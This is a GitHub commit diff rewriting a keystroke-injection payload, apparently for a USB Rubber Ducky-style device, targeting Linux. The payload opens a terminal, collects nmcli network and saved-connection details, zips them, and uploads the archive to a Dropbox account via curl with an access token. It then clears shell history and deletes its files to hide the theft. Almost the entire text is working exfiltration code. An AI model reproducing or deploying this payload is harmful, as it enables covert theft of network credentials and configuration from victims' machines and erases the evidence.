Update payload.txt

pull/150/head
Kalani Helekunihi 2023-06-12 14:43:21 -04:00 committed by GitHub
parent d62f16f914
commit 1c7176bb4d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 22 additions and 59 deletions

View File

@ -13,83 +13,46 @@ REM - Internet Connection
REM - Dropbox Account REM - Dropbox Account
REM - - DROPBOX_ACCESS_TOKEN REM - - DROPBOX_ACCESS_TOKEN
DELAY 1000 DEFINE #TOKEN example
CTRL-ALT t DEFINE #DROPBOX_FOLDER_NAME example
DEFINE #DROPBOX_API_CONST https://content.dropboxapi.com/2/files/upload
DEFAULT_DELAY 500
CTRL ALT t
DELAY 2000 DELAY 2000
REM Required: Set here your Dropbox access TOKEN REM Required: Set here your Dropbox access TOKEN
DEFINE TOKEN example STRINGLN ACCESS_TOKEN="#TOKEN"
STRING ACCESS_TOKEN="
STRING TOKEN
STRING "
ENTER
REM DELAY 500
REM STRING USER_NAME=$(whoami) REM STRING USER_NAME=$(whoami)
REM ENTER REM ENTER
DELAY 500 STRINGLN RANDOM=$(shuf -i 1-999999999999 -n 1)
STRING RANDOM=$(shuf -i 1-999999999999 -n 1)
ENTER
DELAY 500 STRINGLN ZIP_NAME="$RANDOM.zip"
STRING ZIP_NAME="$RANDOM.zip" STRINGLN ZIP_PATH="/home/$USER_NAME/Documents/$ZIP_NAME"
ENTER
DELAY 500
STRING ZIP_PATH="/home/$USER_NAME/Documents/$ZIP_NAME"
ENTER
REM Folder path REM Folder path
DELAY 500 STRINGLN TMP_FOLDER_PATH=$(mktemp -d -p "/home/$USER_NAME/Documents" prefix-XXXXXXXXXX)
STRING TMP_FOLDER_PATH=$(mktemp -d -p "/home/$USER_NAME/Documents" prefix-XXXXXXXXXX)
ENTER
DELAY 500 STRINGLN nmcli > "$TMP_FOLDER_PATH/nmcli.txt"
STRING nmcli > "$TMP_FOLDER_PATH/nmcli.txt"
ENTER
DELAY 1000 STRINGLN nmcli connection show > "$TMP_FOLDER_PATH/nmcli_connection.txt"
STRING nmcli connection show > "$TMP_FOLDER_PATH/nmcli_connection.txt"
ENTER
DELAY 1000 STRINGLN nmcli device show > "$TMP_FOLDER_PATH/nmcli_device.txt"
STRING nmcli device show > "$TMP_FOLDER_PATH/nmcli_device.txt"
ENTER
DELAY 1000
REM Delay for zipping operation, it depends by computer power and folder directory REM Delay for zipping operation, it depends by computer power and folder directory
STRING zip -r "$ZIP_PATH" "$TMP_FOLDER_PATH" STRINGLN zip -r "$ZIP_PATH" "$TMP_FOLDER_PATH"
DELAY 3000 DELAY 3000
REM Set yout Dropbox folder name REM Set yout Dropbox folder name
DEFINE DROPBOX_FOLDER_NAME example STRINGLN DROPBOX_FOLDER="/#DROPBOX_FOLDER_NAME"
STRING DROPBOX_FOLDER="/
ENTER
STRING DROPBOX_FOLDER_NAME
ENTER
STRING "
ENTER
DELAY 500
DEFINE DROPBOX_API_CONST https://content.dropboxapi.com/2/files/upload STRINGLN curl -X POST #DROPBOX_API_CONST --header "Authorization: Bearer $ACCESS_TOKEN" --header "Dropbox-API-Arg: {\"path\": \"$DROPBOX_FOLDER\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" --header "Content-Type: application/octet-stream" --data-binary "@$ZIP_PATH"
STRING curl -X POST
STRING DROPBOX_API_CONST
STRING --header "Authorization: Bearer $ACCESS_TOKEN" --header "Dropbox-API-Arg: {\"path\": \"$DROPBOX_FOLDER\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" --header "Content-Type: application/octet-stream" --data-binary "@$ZIP_PATH"
ENTER
DELAY 2000 DELAY 2000
STRING history -c STRINGLN history -c
ENTER STRINGLN rm -rf "$TMP_FOLDER_PATH"
STRINGLN rm -rf "$ZIP_PATH"
DELAY 500 STRINGLN exit
STRING rm -rf "$TMP_FOLDER_PATH"
ENTER
DELAY 500
STRING rm -rf "$ZIP_PATH"
ENTER
DELAY 500
STRING exit
ENTER